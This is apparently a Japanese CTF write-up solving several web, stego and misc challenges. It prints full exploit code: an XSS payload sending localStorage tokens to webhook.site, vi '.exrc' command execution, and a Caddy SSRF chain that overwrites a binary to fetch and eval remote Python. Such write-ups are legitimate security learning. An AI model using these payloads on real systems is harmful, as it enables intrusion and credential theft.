5/24 - 5/25という日程で開催された。チームBun*1として参加して8位。上位8チームは10月にタイ・カオラックで開催される決勝に招待されるらしい。ただ、旅費・宿泊費が運営から提供されるのはさらに上位のごく一部であり、我々には支給されず悲しい*2。Webがいずれも面白かった。web2.5と自称するBurmaldaやweb3のrevであるところのit Sovaも解きたかったなあ。
どうでもいい話だけれども、普段はWindows + WSL2でCTFを解いているところ、最近実機のLinuxノートがほしいなあと思って購入*3・セットアップ*4したので、早速その実戦投入をしていた。便利だねえ。
[Web 50] Drift Chat (86 solves)
"Fifty percent of something is better than a hundred percent of nothing." -- Vin Diesel, probably
(問題サーバのURL)
添付ファイル: web-drift.tar.gz
ソースコードがそこそこの規模の割にCTFが始まってすぐからガンガン解かれており、なんかやらかしてるっぽいなあと思いつつ問題に取り組み始めた。さて、チャットアプリが与えられている。ユーザ登録・ログイン後に次のようにチャットルームを作成できるようになるが、この際に特定のユーザしか入室できないよう制限できる。たしかに、ほかの人が作ったチャットルームをクリックしても何も起こらない。

ソースコードを確認していく。init.sql
を確認すると、次の記述が見つかる。best chat eva
というチャットルームにフラグが投稿されているけれども、このチャットルームには kek
もしくは admin
というユーザしか入室できない。これらのユーザはランダムなパスワードであり、突破は非常に難しい。
INSERT INTO users (username, password) VALUES ('kek', substring(md5(random()::text) from 0 for 16));
INSERT INTO users (username, password) VALUES ('admin', substring(md5(random()::text) from 0 for 16));
INSERT INTO chats (name, allowed_users) VALUES ('best chat eva', '{"kek", "admin"}');
INSERT INTO messages (chat_name, author, content) VALUES ('best chat eva', 'admin', 'SAS{FLAG}');
solve数の多さから、なにかわかりやすい致命的なバグがあるのだろうと考えた。たとえば認可処理の実装にミスがあり、本来は入室できないチャットルームのコンテンツを見ることができたりするのではないか。早速次のようなコマンドを実行して、本来見ることができないはずの best chat eva
というチャットルームの会話を得ようとする。
curl 'https://(省略)/api/chat/get' \
…
-H 'content-type: application/json' \
-b 'token=…' \
…
--data-raw '{"chat":"best chat eva"}'
なんと、これが通ってしまった。
SAS{c1u7ch_k1ck_dr15t_ch4t_b2f771}
[Stego 325] Lirili Larila (26 solves)
Please rate up my recent artwork made in a 10-hour lungo-infused drawing session
添付ファイル: lirili.gif
まさかのステガノ問。Minecraft問も去年に引き続き複数問が出ていたし、なんだか変な問題も混じってくるCTFだ。さて、この問題では爆発しながらサボテン象が現れるアニメーションGIFが与えられている。普通に見た感じでは何も違和感がない。
私が問題を見た時点で、つちりゅうさんが謎の手法で以下のようにフラグの一部を抜き出していた。いわく、StegoVeritasというツールに投げたところこれを吐き出したということだった。

たしかに、オプションを付けずにこのGIFをStegoVeritasに投げると、先程のフラグの一部が出力される。オプションを付け外ししてどういう方法で抜き出されたか確認すると、-colorMap 227
でこの画像が出力されるとわかった。このオプションの説明は次の通り。コードを読むと、パレットを編集していることがわかる。
-colorMap [N [N ...]]
Analyze a color map. Optional arguments are colormap
indexes to save while searching
なるほど、出力されると同じ色になるけれども、実のところパレットの番号が異なるという形で巧妙にフラグの一部を隠していたらしい。自分でもやってみよう。GIFのフォーマットを調べつつ、次のようなコードでパレット部分を破壊する。
import os
with open('stego.gif', 'rb') as f:
s = f.read()
with open('stego_.gif', 'wb') as f:
f.write(s[:0xd])
f.write(os.urandom(768))
f.write(s[0xd+768:])
実行すると、たしかにいい感じにフラグの一部が浮き出ている画像ができた。

では、残りのパーツはどこにあるのだろう。画像の幅・高さやフレーム数の割にはファイルサイズが10MB程度と大きいので、68枚というフレーム数がダミーで実際はもっと多いのではないか、使われていないデータがあるのではないか、フレーム間のウェイトが実は微妙に違っていてモールス信号や0/1になっているのではないか、LSBに仕込んでいるのではないか…と色々考える*5もののどれも不発だった。
ファイルサイズの大きさについて話す中で、つちりゅうさんが「ローカルカラーテーブル」について言及する。これは全フレームで共通のパレットとは別に、個別のフレームで別のパレットを設定できるというものだ。ImHexで眺めてみると、今回のアニメーションGIFはどのフレームもローカルカラーテーブルを使っていることがわかる。ここになにか仕込んでいるのではないか。

ローカルカラーテーブルを壊そう。各パレットの直前には幅・高さ・フラグが並んでいるけれども、どのフレームもその値は変わらないので、これを目印にローカルカラーテーブルの場所を把握する。
import os
with open('stego.gif', 'rb') as f:
s = f.read()
i = s.find(b'\x80\x01\x80\x01\x87')
while i != -1:
j = i + 5
s = s[:j] + os.urandom(768) + s[j+768:]
i = s.find(b'\x80\x01\x80\x01\x87', i + 1)
with open('stego_.gif', 'wb') as f:
f.write(s)
出力されたGIFを ffmpeg -i stego_.gif result3/%02d.png
のようにしてフレームごとに分ける。すると、次のようにフラグのすべてのパーツが得られた。
leetで読みづらい上に長かった。
SAS{50m3_3leph4n7s_c4n_h1d3_7h31r_53cr3ts_1n_l0c4l_p4ll3tes}
わざわざノーヒントのステガノグラフィ問題を出すなよと思っていたけれども、アニメーションGIFという使い古されたフォーマットでLocal Color Tableに仕込むという新規性を出してくるという点に感心してしまってちょっと悔しい。
[Misc 338] WX Underground (25 solves)
Decades ago, the great city of Cockbit was wiped from the map of our world. Ever since, nestled amid the forsaken stones of the once-mighty city, a hidden corridor stirs to life for a day in a year. What lies at its end defies the understanding of conventional science. Those few who have returned speak of IT with ceaseless awe.
Only true hero can surpass all the obstacles and emerge victory over this dangerous creature. If only we knew who can instill hope to the hearts of oppressed...
(InstancerのURL)
添付ファイル: wx.zip
見覚えがある名前だなあ。全チーム共用でなくいちいち新たにコンテナを立てられるinstancerを用意しているあたり、環境を派手に破壊したり他チームに影響が出たりする解法が想定されているだろう。
さて、私がこの問題を見る前にすでにsugiさんが少しその内容を確認しており、私が以前解いたKalmarCTF 2025のRWX - Goldと似ている、というよりもそれを魔改造したようなものだから私が解けとDiscordでメンションが送られていた。

ソースコードが与えられている。主要な箇所は次の通り。RWX - Goldとの相違点として、次のようなものが挙げられる:
/read
というエンドポイントが消えており、ファイルの読み出しができなくなっている
- 実行できるOSコマンドの長さが3文字以下から4文字以下と制限が緩められている。代わりに、
|
は利用できない
- なぜかUbuntuからAlpine Linuxになっている
- 目的が
/tung tung tung tung tung sahur
の実行になっている
/read
が消えているのがやや面倒くさそうだ。
from flask import Flask, request, send_file
import subprocess
app = Flask(__name__)
@app.route('/write', methods=['POST'])
def write():
filename = request.args.get('filename', '')
content = request.get_data()
try:
with open(filename, 'wb') as f:
f.write(content)
f.flush()
return 'OK'
except Exception as e:
return str(e), 400
@app.route('/exec')
def execute():
cmd = request.args.get('cmd', '')
if len(cmd) > 4:
return 'Command too long', 400
if "|" in cmd:
return 'No pipi racing this time :(', 400
try:
output = subprocess.check_output(cmd, shell=True)
return output
except Exception as e:
return str(e), 400
if __name__ == '__main__':
app.run(host='0.0.0.0', port=7331)
docker exec -it … sh
でシェルを起動し、タブを押して実行できそうなファイルの一覧を得る。とりあえず4文字のコマンドを探すと、次のような一覧が得られた。
>>> [x for x in s if len(x) == 4]
['2to3', 'mdev', 'mesg', 'more', 'arch', 'beep', 'nice', 'ntpd', 'ping', 'pip3', 'chvt', 'pmap', 'comm', 'cpio', 'pwdx', 'date', 'rdev', 'read', 'diff', 'echo', 'eval', 'exec', 'exit', 'expr', 'find', 'fold', 'free', 'fsck', 'shuf', 'size', 'sort', 'gcov', 'stat', 'stty', 'grep', 'sync', 'gzip', 'halt', 'hash', 'tail', 'head', 'help', 'test', 'time', 'trap', 'tree', 'ifup', 'true', 'init', 'type', 'ipcs', 'uniq', 'jobs', 'kill', 'unxz', 'last', 'less', 'link', 'wait', 'wget', 'lsof', 'lzma', 'lzop', 'zcat', 'zcip']
2to3
や pip3
といったPython関連のものが怪しく見える。KalmarCTFと同じアプローチで、OSコマンド実行時に存在しないファイル、たとえば設定ファイルを参照していないか確認してみよう。
docker-compose.yml
に privileged: true
を加え、root
ユーザで strace
を入れる。もし書き込み可能な場所(/home/patapim/
や /tmp/
の下)にあるファイルを参照していれば万々歳だけれども、残念ながら 2to3
も pip3
も次のように存在しないディレクトリやその下にあるファイルを参照しようとしており、今回はディレクトリを作成できないという制約があるために使えなかった。
/app $ strace 2to3 2>&1 | grep ENOENT | grep home
stat("/home/patapim/.local/lib/python3.12/site-packages", 0x7ffe7cd5d170) = -1 ENOENT (No such file or directory)
/app $ strace pip3 2>&1 | grep ENOENT | grep home
stat("/home/patapim/.local/lib/python3.12/site-packages", 0x7ffcc833cca0) = -1 ENOENT (No such file or directory)
stat("/home/patapim/.pip/pip.conf", 0x7ffcc833d670) = -1 ENOENT (No such file or directory)
stat("/home/patapim/.config/pip/pip.conf", 0x7ffcc833d670) = -1 ENOENT (No such file or directory)
すべての実行可能なコマンドの一覧を見ていると、vi
が目に入った。そんな便利なコマンドが使えるんかい!! これについても strace
でなにか面白いファイルを参照しようとしていないか確認したところ、.exrc
というファイルを読もうとしていることがわかった。これだ。
/app $ strace vi 2>&1 | grep ENOENT
stat("/home/patapim/.exrc", 0x7ffd8871f5b0) = -1 ENOENT (No such file or directory)
.exrc
は vi
のいろいろな設定ができるのだけれども、たとえば !ls
のようにしてOSコマンドの実行もできてしまう。ということで .exrc
を使えばOSコマンドが実行し放題だけれども、どうやって /read
なしにその実行結果を得るか。実行結果をBase64したファイルをホームディレクトリ下に作成すればよい。ls ~
でその結果が得られるから。
import httpx
with httpx.Client(base_url='https://(省略)/') as client:
client.post('/write?filename=/home/patapim/.exrc', data='''
!touch /home/patapim/$(/tung tung tung tung tung sahur | base64 -w0)
'''.strip())
r = client.get('/exec?cmd=vi')
print(r.text)
r = client.get('/exec?cmd=ls ~')
print(r.text)
実行するとフラグが得られた。
$ python3 s.py
Command 'vi' returned non-zero exit status 1.
U0FTe2hhaGFfdzFsZGM0cmRfaW5qM2N0aTBuX2cwZXNfYnJyX2Jycl9wNHRhcDFtfQ==
SAS{haha_w1ldc4rd_inj3cti0n_g0es_brr_brr_p4tap1m}
[Web 437] Bubble Tea Diaries (16 solves)
An old duke is having a walkout near London's Tower. He sees a dog lying by the path. - How do you do? - he asks. - I do how how. - it answers.
(問題サーバとadmin botのURL)
添付ファイル: server.zip
いつの間にか追加されており、kanonさんに教えてもらわなければ見逃すところだった。admin botがいるあたり、XSSかそれに類する脆弱性を使う問題なのだろうと推測する。たまにそうでないこともあるけど。
botの重要な箇所は次の通り。攻撃対象のサーバはスレッドの一覧ができない掲示板アプリらしいけれども、adminがフラグを含んだスレッドを作成し、それからユーザが報告したURLにアクセスしてくれるらしい。このアクセス先は、問題サーバで立てられたスレッドに限られる。
with open('/app/flag.txt', 'r') as f:
flag = f.read().strip()
post_text_field = WebDriverWait(driver, 10).until(
expected_conditions.presence_of_element_located((By.CLASS_NAME, "post-textarea"))
)
time.sleep(0.5)
post_text_field.clear()
post_text_field.send_keys(flag)
def visit(url: str) -> Tuple[bool, str]:
if not url.lower().startswith(f"{SERVICE_HOST}/post/"):
return False, "No way I'm visiting that, only posts!"
driver = run_chrome()
credentials = load_credentials()
try:
if not login(driver, credentials):
register(driver)
save_credentials(credentials)
driver.get(url)
write_opinion(driver)
time.sleep(0.5)
except Exception:
return False, f"Bot failed:\n{traceback.format_exc()}"
finally:
driver.quit()
return True, "Bot job has finished successfully!"
投稿時にはBBコードも使えるらしい。その変換は自前で実装されているけれども、画像周りが大変怪しい処理になっている。alt
等のためかどうかはわからないけれども、任意の属性が仕込めるようになっている。
def _handle_image(self, text):
simple_pattern = r'\[img\](https?://[^"\'\[\]<>]+?\.(?:jpg|jpeg|png|gif))\[/img\]'
text = re.sub(simple_pattern,
r'<img src="\1" alt="User posted image" style="max-width:100%;">',
text)
dim_pattern = r'\[img=(\d+),(\d+)\](https?://[^"\'\[\]<>]+?\.(?:jpg|jpeg|png|gif))\[/img\]'
text = re.sub(dim_pattern,
r'<img src="\3" width="\1" height="\2" alt="User posted image" style="max-width:100%;">',
text)
attr_pattern = r'\[img ([^\]]+)\](https?://[^"\'\[\]<>]+?\.(?:jpg|jpeg|png|gif))\[/img\]'
def img_attr_replacer(match):
attrs_str = match.group(1)
img_url = match.group(2)
return f'<img src="{img_url}" {attrs_str} style="max-width:100%;">'
text = re.sub(attr_pattern, img_attr_replacer, text)
return text
[img onerror=alert(1)]https://example.com/image.jpg[/img]
でXSSに持ち込むことができた。CSP等の制限はないし、JWT等は localStorage
に保存されていて、Cookieのようにアクセスできるかどうかを気にする必要はまったくない。[img onerror=navigator.sendBeacon(`//webhook.site/(省略)`,JSON.stringify(localStorage))]https://example.com/image.jpg[/img]
で、adminとしてログインするために必要な情報を得られた。
得られた情報を使ってadminとなり、自身の投稿を見るとフラグが得られた。
SAS{bl4ck_c47_1n_th3_bl4ck_r0om_d01n_b00m_boom_b00m}
難易度の割になぜかsolve数が少ない問題だった。
[Web 445] Proxy (15 solves)
Nowadays, some kind of connection transitivity is often required. We're quite new to this market, would you mind to check our MVP?
(InstancerのURL)
添付ファイル: web-proxy.tar.gz
これもinstancerが用意されている。暴れろということらしい。ソースコードはシンプルな構成になっている。まず compose.yaml
は次の通り。イメージの名前から察するにCaddyが動いているっぽい。build
と image
が同時に宣言されているので、見るべきは Dockerfile
っぽい。
services:
caddy:
build: .
image: cr.yandex/crptrom4kvc0o44vpcg6/caddy
ports:
- 8080:80
cap_drop:
- CAP_DAC_OVERRIDE
Dockerfile
は次の通り。やはりCaddyを動かしている。なぜわざわざPythonをインストールしているのだろうというのはおいておいて、flag.sh
という興味深いファイルがある。パーミッションが削ぎ落とされているので、なんとか実行や読み込みが可能な状態にしなければならなそう。また、もしCaddyが落ちたら再起動するようになっている。
FROM caddy:2.10-alpine
RUN apk add --no-cache \
python3-dev \
py3-pip
WORKDIR /app
COPY index.html ./
COPY Caddyfile ./
RUN chmod 666 /app/index.html
COPY flag.sh /
RUN chmod 0000 /flag.sh
CMD while true; do sh -c 'caddy run --config /app/Caddyfile'; done
flag.sh
は次の通り。これを実行したり読み込んだりできれば勝ちだ。
echo -e '\t\tSAS{FLAG}';
Caddyfile
は次の通り。/example.com:8000/hoge
にアクセスすると http://example.com:8000/hoge
の内容を返すというようなプロキシになってくれるようだ。SSRFでなんとかするのだろうなあと考える。ただ、どこに? という問題があるし、それでRCEにまで繋げられるのかと思う。
:80 {
@stripHostPort path_regexp stripHostPort ^\/([^\/]+?)(?::(\d+))?(\/.*)?$
map {http.regexp.stripHostPort.2} {targetPort} {
"" 80
default {http.regexp.stripHostPort.2}
}
map {http.regexp.stripHostPort.3} {targetPath} {
"" /
default {http.regexp.stripHostPort.3}
}
handle @stripHostPort {
rewrite {targetPath}
reverse_proxy {http.regexp.stripHostPort.1}:{targetPort} {
header_up Host {http.regexp.stripHostPort.1}:{targetPort}
}
}
handle {
root * ./
file_server
}
}
とりあえずなんでもよいのでSSRFする対象がないかと考える。ここで、一旦ほかの問題を見ていたのだけれども、docker ps
したときに気になるものを見つけた。2019/tcp
を利用しているらしい。TCPとUDPの443はHTTPSだろうけれども、2019/tcp
は一般的ではないので気になる。
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
ba00b5c0915a caddy:2.10-alpine "caddy run --config …" 6 seconds ago Up 5 seconds 80/tcp, 443/tcp, 2019/tcp, 443/udp thirsty_chaplygin
「caddy 2019 port」等でググると、どうやらこれはCaddyが管理用のAPIを提供するポートだとわかった。もちろんHTTPを使うけれども、localhost:2019
でリッスンしているので外部からはアクセスできない。しかし、今回はSSRFができる。試しに /localhost:2019/config/
にアクセスすると、現在適用されているCaddyの設定が得られた。
この機能を使ってなにか悪いことはできないか。Caddyのドキュメントを眺めていると、POST /load
というAPIが見つかる。これは Caddyfile
やその別表現であるJSONを投げると、なんとその設定を読み込んで置き換えてくれるというものだった。強力すぎる。
以下のスクリプトを書いて、SSRFで POST /load
を叩けないか試した。すると、この設定が有効化されたようで、/
にアクセスすると Hello, world!
を返すようになった。
import httpx
BASE_URL = 'http://localhost:8080/'
json = {
"apps": {
"http": {
"servers": {
"hello": {
"listen": [":80"],
"routes": [
{
"handle": [{
"handler": "static_response",
"body": "Hello, world!"
}]
}
]
}
}
}
}
}
with httpx.Client(base_url=BASE_URL) as client:
r = client.post('/localhost:2019/load', json=json)
print(r.text)
これで、本質的には好きな Caddyfile
を書いてRCEに持ち込むという問題になった。しかし、ここからが本番だ。まず考えたのはSSTIに持ち込むというもので、たとえばKalmarCTFのEz ⛳シリーズを参考に次のような設定にすることで、User-Agent
から好きなテンプレートをレンダリングさせられる。ただ、その問題である程度調べた際に、これは text/template
を使っているので、色々な情報の取得はできるけれどもRCEに持ち込むのは難しいとわかっていた。うーん。
(repdayo) {
header Content-Type text/html
templates
respond "<!DOCTYPE html><meta charset=utf-8><title>rep</title><body>{args[0]}</body>"
}
:80 {
root * /
handle / {
templates
import repdayo `User-Agent: {{.Req.Header.Get "User-Agent"}}`
}
}
ふと、Caddyの機能でなにか chmod
してくれるようなものはないかと考えた。os.Chmod
で検索すると2ヶ所ほど見つかる。特にリッスン周りのコードで使われているのが気になった。どうやらUNIXドメインソケットでリッスンする際に、たとえば unix//flag.sh|777
のようにしてパーミッションも設定できるようになっているようだ。ただ、{ admin unix//flag.sh|777 }
のような設定を読み込ませてみたところ、/flag.sh
は上書きされてしまった。それはそう。
/app # ls -la /flag.sh
srwxrwxrwx 1 root root 0 May 24 15:27 /flag.sh
悩んでいたところ、いっそのこと cron
のようなものの助けを借りて、どこかにファイルを配置したらそれを実行してくれたりしないかというアイデアが思い浮かんだ。
まず「cron
のようなもの」については、それそのものは crond
がいないのでダメだ。今回のDockerイメージでは、while true; do sh -c 'caddy run --config /app/Caddyfile'; done
のように caddy
はその絶対パスを指定せずに実行されていることを思い出そう。PATH
の問題から、/usr/local/sbin/caddy
に配置すると本来のCaddyがいる /usr/bin/caddy
よりも優先されて参照される。これだ。ここにシェルスクリプトとして解釈できるテキストを書き込んでしまおう。
任意の場所にファイルを用意するということについては、ログファイルを使えばよい。ありがたいことに mode
を使うとパーミッションを指定できて、実行可能にできる。書き込まれている間はファイルがビジーになってしまって実行できないけれども、それは POST /load
で再度別の設定を読み込ませて解放させてやればよい。
ただ、書き込む内容が問題だ。調べた限りではログのフォーマットはそこまで自由に操作できない。各行の最初に来るタイムスタンプはある程度フォーマットが自由なので、ここにshebangとして解釈できるペイロードを仕込んでやろう。その後ろに色々いらないテキストも付いてくるけれども、それはコメントアウトさせよう。
log {
output file "/usr/local/sbin/caddy" {
mode 777
roll_disabled
}
format filter {
request delete
bytes_read delete
user_id delete
duration delete
size delete
status delete
resp_headers delete
wrap console {
time_format "#!/usr/bin/python -cprint(1)#"
level_format "lower"
}
}
}
もうひとつ、/usr/local/sbin/caddy
に悪いシェルスクリプトを書き込むと caddy
を実行した際にそれが呼び出されるというのはよいけれども、そうさせるために今走っている caddy
のプロセスを落とす必要がある。ではどうするか。2019/tcp
で動いていたあの管理用のAPIの中に、POST /stop
というCaddyを停止させられる便利なものがあった。
ということで、材料が揃った。まず、置き換えるための設定として以下のような Caddyfile
がある。SSRFするためのエンドポイントを残しているけれども、これは今紹介した管理用のAPIの POST /stop
を叩くためだ。管理画面は localhost:2019
でリッスンしているわけだから、外部からはこれがなければ叩けない。
また、/usr/local/sbin/caddy
に書き込まれるシェルスクリプトについては、外部からPythonスクリプトを持ってきて実行するというものになっている。これは __import__('os').system('chmod 777 /flag.sh; cd /; python3 -m http.server 80')
を返すようにしていて、これによって /flag.sh
にアクセス可能になるし、その後にルートディレクトリからなんでもファイルを取得できるWebサーバも立ち上がる。
{
admin :2019
}
:80 {
root * /
log {
output file "/usr/local/sbin/caddy" {
mode 777
roll_disabled
}
format filter {
request delete
bytes_read delete
user_id delete
duration delete
size delete
status delete
resp_headers delete
wrap console {
time_format "#!/usr/bin/python -ceval(__import__('urllib.request').request.urlopen('http://(省略)').read().decode());__import__('time').sleep(3)#"
level_format "lower"
}
}
}
@stripHostPort path_regexp stripHostPort ^\/([^\/]+?)(?::(\d+))?(\/.*)?$
map {http.regexp.stripHostPort.2} {targetPort} {
"" 80
default {http.regexp.stripHostPort.2}
}
map {http.regexp.stripHostPort.3} {targetPath} {
"" /
default {http.regexp.stripHostPort.3}
}
handle @stripHostPort {
rewrite {targetPath}
reverse_proxy {http.regexp.stripHostPort.1}:{targetPort} {
header_up Host {http.regexp.stripHostPort.1}:{targetPort}
}
}
handle {
root * ./
file_server
}
}
exploitは次の通り。先程の Caddyfile
に相当するJSONを投げて読み込ませ、続いて /
にアクセスしてログを書き込ませ、そして /stop
でCaddyを「再起動」させるという流れだ。
import httpx
BASE_URL = 'http://(省略)/'
json1 = {"admin":{"listen":":2019"},"apps":{"http":{"servers":{"srv0":{"listen":[":80"],"logs":{"default_logger_name":"log0"},"routes":[{"handle":[{"defaults":["{http.regexp.stripHostPort.2}"],"destinations":["{targetPort}"],"handler":"map","mappings":[{"outputs":[80]}],"source":"{http.regexp.stripHostPort.2}"},{"defaults":["{http.regexp.stripHostPort.3}"],"destinations":["{targetPath}"],"handler":"map","mappings":[{"outputs":["/"]}],"source":"{http.regexp.stripHostPort.3}"},{"handler":"vars","root":"/"}]},{"group":"group2","handle":[{"handler":"subroute","routes":[{"group":"group0","handle":[{"handler":"rewrite","uri":"{targetPath}"}]},{"handle":[{"handler":"reverse_proxy","headers":{"request":{"set":{"Host":["{http.regexp.stripHostPort.1}:{targetPort}"]}}},"upstreams":[{"dial":"{http.regexp.stripHostPort.1}:{targetPort}"}]}]}]}],"match":[{"path_regexp":{"name":"stripHostPort","pattern":"^\\/([^\\/]+?)(?::(\\d+))?(\\/.*)?$"}}]},{"group":"group2","handle":[{"handler":"subroute","routes":[{"handle":[{"handler":"vars","root":"./"},{"handler":"file_server","hide":["/app/Caddyfile"]}]}]}]}]}}}},"logging":{"logs":{"default":{"exclude":["http.log.access.log0"]},"log0":{"encoder":{"fields":{"bytes_read":{"filter":"delete"},"duration":{"filter":"delete"},"request":{"filter":"delete"},"resp_headers":{"filter":"delete"},"size":{"filter":"delete"},"status":{"filter":"delete"},"user_id":{"filter":"delete"}},"format":"filter","wrap":{"format":"console","level_format":"lower","time_format":"#!/usr/bin/python -ceval(__import__('urllib.request').request.urlopen('http://(省略)').read().decode());__import__('time').sleep(3)#"}},"include":["http.log.access.log0"],"writer":{"filename":"/usr/local/sbin/caddy","mode":"0777","output":"file","roll":False}}}}}
with httpx.Client(base_url=BASE_URL) as client:
r = client.post('/localhost:2019/load', json=json1)
print(r.text)
r = client.get('/')
print(r.text)
r = client.post('/localhost:2019/stop')
print(r.text)
実行し、/flag.sh
にアクセスするとフラグが得られた。
SAS{c4ddy_1s_my_d4ddy_78743533}
[Web 472] Drift Chat Revenge (11 solves)
"Every day you spend drifting away from your goals is a waste not only of that day, but also of the additional day it takes to regain lost ground" -- Vin Diesel, probably
(問題サーバのURL)
添付ファイル: web-drift-revenge.tar.gz
あのDrift Chatが帰ってきた! ということで、作問ミスのためか非常に簡単になってしまっていたDrift Chatのリベンジ問だ。diffは次の通り。return
を忘れていたために、入室可能なユーザリストの中にログイン中のユーザが入っていなかった場合でも、403のステータスコードを返すだけで中断せず、以降のチャット内容の取得もそのまま実行し、返してしまっていたということらしい。
adminやkekとしてログインし、なにかやってくれるbotがいるわけではないので、クライアント側でなにかするような問題ではないのだろう。ということで、今回も認可処理のバイパスのような脆弱性を使ってメッセージを盗み見るのだろうと考える。
diff -ur ./internal/service/get_chat.go "../../Drift Chat Revenge/drift-chat/internal/service/get_chat.go"
--- ./internal/service/get_chat.go 2025-05-23 23:52:46.000000000 +0900
+++ "../../Drift Chat Revenge/drift-chat/internal/service/get_chat.go" 2025-05-25 04:49:56.000000000 +0900
@@ -43,7 +43,7 @@
}
token := tok[0].Value
st := s.red.Get(ctx, fmt.Sprintf(redis.SessionUsername, token))
- if st.Err() != nil {
+ if st.Err() != nil || st.Val() == "" {
c.AbortWithStatus(403)
c.Error(st.Err())
return
@@ -53,6 +53,7 @@
ok, _ := s.check_is_allowed(ctx, username, req.Chat)
if !ok {
c.AbortWithStatus(403)
+ return
}
messages, err := s.chat.GetMessages(ctx, req.Chat)
このチャットにはドラフト機能があり、適当なテキストを入力すると次のようにその内容が保存され、表示されるようになっている。メタ読みだけれども、わざわざこんな機能を実装しているのだから、なにか変な実装になっており想定解法ではそれを使うのだろうなあと思う。

docker-compose.yaml
を見ると、次のようにPostgreSQLのほかにRedisが2つ立っていることがわかる。PostgreSQLにはユーザ情報やチャットルームの投稿等が保存されている。Redisにはドラフトの情報やセッションIDと結びついたユーザの情報等が保存されている。
2つのRedisはなにか使い方が異なるというわけではなく、go-redisのRedis Ringとよばれる機能を使って負荷を分散しているらしい。
…
db:
image: postgres:15-alpine
…
redis1:
image: redis:7-alpine
…
redis2:
image: redis:7-alpine
…
Redisのキーは次のようなものになっている。%s
にはユーザ名やセッションIDが入ってくる。ユーザ名にはスラッシュも使えるので悪用できないかなと思うが、特に方法は思い浮かばない。とんでもなく長いキーを投げるとtruncationされるというわけでもなさそうだしなあと思う。
const (
SessionUsername = "%s/username"
WrittenNow = "%s/written_now_chat"
DraftMessage = "%s/draft_message"
ChatWriteList = "%s/write_list"
Online = "%s/online"
)
コードを眺めていると、面白いことに気づいた。これはチャットルームを送信するAPIのコードの一部だけれども、送信後にそれまでのメッセージの一覧を返している。このようにチャットルームが持つメッセージを返すのは、それ専用のAPIとこれのふたつだけだ。なにか悪用できないか。
messages, err := s.chat.GetMessages(ctx, chatName)
if err != nil {
c.AbortWithStatus(500)
c.Error(fmt.Errorf("no messages %s", st.Err()))
return
}
c.JSON(200, getChatResp{Messages: messages})
このAPIが行っているチェックは次の通り。現在メッセージの書き込み中(つまり、ドラフトが作成されている)で、その書き込み先が同じチャットルームであり、そしてチャットルームに書き込み可能なユーザであること。最後の条件はおいておいて、ドラフト機能については認可周りの処理はどうなっているだろうか。
st = s.red.Get(ctx, fmt.Sprintf(redis.DraftMessage, token))
if st.Err() != nil {
c.AbortWithStatus(500)
c.Error(fmt.Errorf("no draft message %s", st.Err()))
return
}
msg := st.Val()
st = s.red.Get(ctx, fmt.Sprintf(redis.WrittenNow, token))
if st.Err() != nil {
c.AbortWithStatus(500)
c.Error(fmt.Errorf("no written now %s", st.Err()))
return
}
writtenNow := st.Val()
if writtenNow != chatName {
c.AbortWithStatus(403)
c.Error(fmt.Errorf("written now is wrong %s", st.Err()))
return
}
ok, _ := s.check_is_allowed(ctx, username, chatName)
if !ok {
c.AbortWithStatus(403)
return
}
ドラフトの作成処理を見に行く。なんと書き込もうとしている先のチャットルームに書き込む権限があるかを確認していない。best chat eva
を含めて、あらゆるチャットルームにドラフトを残すことができる。
func (s *Service) SetDraft(c *gin.Context) {
ctx := c.Request.Context()
req := setDraftReq{}
if err := c.BindJSON(&req); err != nil {
slog.Error("parse", "err", err)
c.AbortWithStatus(532)
return
}
tok := c.Request.CookiesNamed(tokenCookie)
if len(tok) != 1 {
c.AbortWithStatus(403)
return
}
token := tok[0].Value
st := s.red.Get(ctx, fmt.Sprintf(redis.SessionUsername, token))
username := st.Val()
if username == "" {
c.AbortWithStatus(403)
return
}
s.red.Set(ctx, fmt.Sprintf(redis.Online, username), "1", 10*time.Second)
if req.Draft == "" {
res := s.red.Del(ctx, fmt.Sprintf(redis.DraftMessage, token),
fmt.Sprintf(redis.WrittenNow, token))
if res.Err() != nil {
c.AbortWithStatus(500)
return
}
c.JSON(200, setDraftResp{})
return
}
pipe := s.red.TxPipeline()
pipe.SAdd(ctx, fmt.Sprintf(redis.ChatWriteList, req.Chat), token)
pipe.Set(ctx, fmt.Sprintf(redis.DraftMessage, token), req.Draft, 0)
pipe.Set(ctx, fmt.Sprintf(redis.WrittenNow, token), req.Chat, 0)
_, err := pipe.Exec(ctx)
if err != nil {
c.AbortWithStatus(500)
c.Error(err)
return
}
c.JSON(200, setDraftResp{})
}
ただ、やはり以下の check_is_allowed
が邪魔に思われる。悩みつつもなんとなくClaudeに聞いてみたところ、この実装が怪しいと言い出した。いわく、ユーザ名が空であるときに、本来 false
を返すべきところ、エラーとあわせてではあるものの true
を返してしまっている。たしかにおかしい。
func (s *Service) check_is_allowed(ctx context.Context, name, chat string) (bool, error) {
if name == "" {
return true, errors.New("no name")
}
ch, err := s.chat.GetChat(ctx, chat)
if err != nil {
return false, err
}
return slices.Contains(ch.AllowedUsers, name), nil
}
メッセージの送信処理で同関数を呼び出している箇所は次の通り。なんとエラーが返ってきているかどうかは確認していない。
ok, _ := s.check_is_allowed(ctx, username, chatName)
if !ok {
c.AbortWithStatus(403)
return
}
登録時にユーザ名が6文字以上であるかチェックされているので、空のユーザ名を登録するということはできないけれども、それ以外のタイミングでユーザ名が空であるようにさせられないか。たとえば、セッションIDに紐づいたユーザ名を空にできないか。
思いついたのはログアウト処理だった。これは次のようにセッションIDに紐づいたユーザ名等を削除する。削除対象にはドラフトも含まれているけれども、ユーザ名は削除されているが、ドラフトは削除されていないという状況(Race Condition)を作り出せないか。
func (s *Service) Logout(c *gin.Context) {
ctx := c.Request.Context()
tok := c.Request.CookiesNamed(tokenCookie)
if len(tok) != 1 {
c.AbortWithStatus(403)
return
}
token := tok[0].Value
st := s.red.Get(ctx, fmt.Sprintf(redis.SessionUsername, token))
username := st.Val()
if username == "" || st.Err() != nil {
c.JSON(403, registerResp{})
return
}
st = s.red.Get(ctx, fmt.Sprintf(redis.WrittenNow, token))
if st.Val() == "" || st.Err() != nil {
s.red.Del(ctx, fmt.Sprintf(redis.SessionUsername, token))
c.JSON(200, registerResp{})
return
}
chat_name := st.Val()
s.red.SRem(ctx, fmt.Sprintf(redis.ChatWriteList, chat_name), token)
s.red.Del(ctx,
fmt.Sprintf(redis.SessionUsername, token),
fmt.Sprintf(redis.DraftMessage, token),
fmt.Sprintf(redis.WrittenNow, token))
c.JSON(200, registerResp{})
}
